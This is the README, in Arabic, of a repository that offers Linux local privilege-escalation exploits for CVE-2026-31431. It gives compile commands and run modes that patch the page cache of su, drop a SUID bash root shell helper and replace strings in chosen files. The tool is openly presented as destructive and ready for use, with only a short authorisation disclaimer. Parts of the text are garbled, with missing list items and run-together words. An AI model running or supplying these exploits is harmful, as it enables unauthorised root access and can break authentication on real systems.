wuwu001/cve-2026-31431-exploit# استغلالات تصعيد الامتيازات المحلية لنظام لينكس لثغرة CVE-2026-31431، بما في ذلك سير العمل الخام والقابل للاسترداد.
تطبيقات استغلال رفع الامتيازات المحلية (LPE) لنظام Linux هذه مدمّرة أثناء التشغيل.
فهي تستبدل عرض ذاكرة التخزين المؤقت للصفحات الحية للأهداف المميزة مثل:
supatchهذا عادةً ليس تعديلًا دائمًا عاديًا على القرص، لكنه يغيّر سلوك التشغيل ويمكن أن يؤثر على تدفق المصادقة/الامتيازات فورًا.
لا يوفر هذا المستودع وضع root غير مدمّر بالكامل.
copyfail_raw_su_root.ccopyfail_portable_lpe.cكلاهما لنظام Linux فقط.
قد تُضاف ملفات ثنائية مُجمّعة مسبقًا لمعماريات إضافية في التحديثات المستقبلية.
gcc -O2 -s copyfail_portable_lpe.c -o copyfail_portable_lpe
gcc -O2 -s copyfail_raw_su_root.c -o copyfail_raw_su_root
بالنسبة لـ copyfail_portable_lpe.c، عند التشغيل:
./copyfail_portable_lpe
يُستخدم auto-revert افتراضيًا.
وهذا يعني أنه سيحاول سير العمل القابل للاسترداد أولًا:
إذا فشل الوضع القابل للاسترداد، يطبع البرنامج تلميحات حول أوضاع البديل.
نسخة خام مبسطة:
susu./copyfail_raw_su_root
نسخة عامة بأوضاع متعددة.
وضع صريح بدون تراجع:
./copyfail_portable_lpe auto
وضع قابل للاسترداد أولًا:
./copyfail_portable_lpe
./copyfail_portable_lpe auto-revert
إسقاط مساعد SUID bash بدون تراجع:
./copyfail_portable_lpe helper ./.rootsh
إسقاط مساعد، ثم محاولة استعادة الأهداف المُصححة:
./copyfail_portable_lpe helper-revert ./.rootsh
استبدال سلسلة بنفس الطول على ملف محدد:
./copyfail_portable_lpe patch <file> <find> <replace>
مسار تصحيح su الخام:
./copyfail_portable_lpe raw-su-elf
auto-revert و helper-revert لا يزالان مدمّرين أثناء الاستغلال.
إنهما "قابلان للاسترداد" فقط بمعنى أنهما:
إذن هذا تدمير ثم تراجع، وليس غير مدمّر حقًا.
auto / auto-revert / helper / helper-revert / patch: موجهة لنظام Linux، وأقل ارتباطًا بمعمارية وحدة المعالجة المركزية عند الترجمة على الهدفraw-su-elf: x86_64 Linux فقطهذا المستودع مُقدَّم من أجل:
لا تستخدم هذه المواد ضد أنظمة أو حسابات أو شبكات دون إذن صريح من المالك.
يقدم المؤلف والمساهمون هذا المحتوى كما هو، دون أي ضمان، ولا يتحملون أي مسؤولية عن سوء الاستخدام أو الضرر أو فقدان البيانات أو انقطاع الخدمة أو العواقب القانونية الناتجة عن استخدام الكود أو التقنيات في هذا المستودع.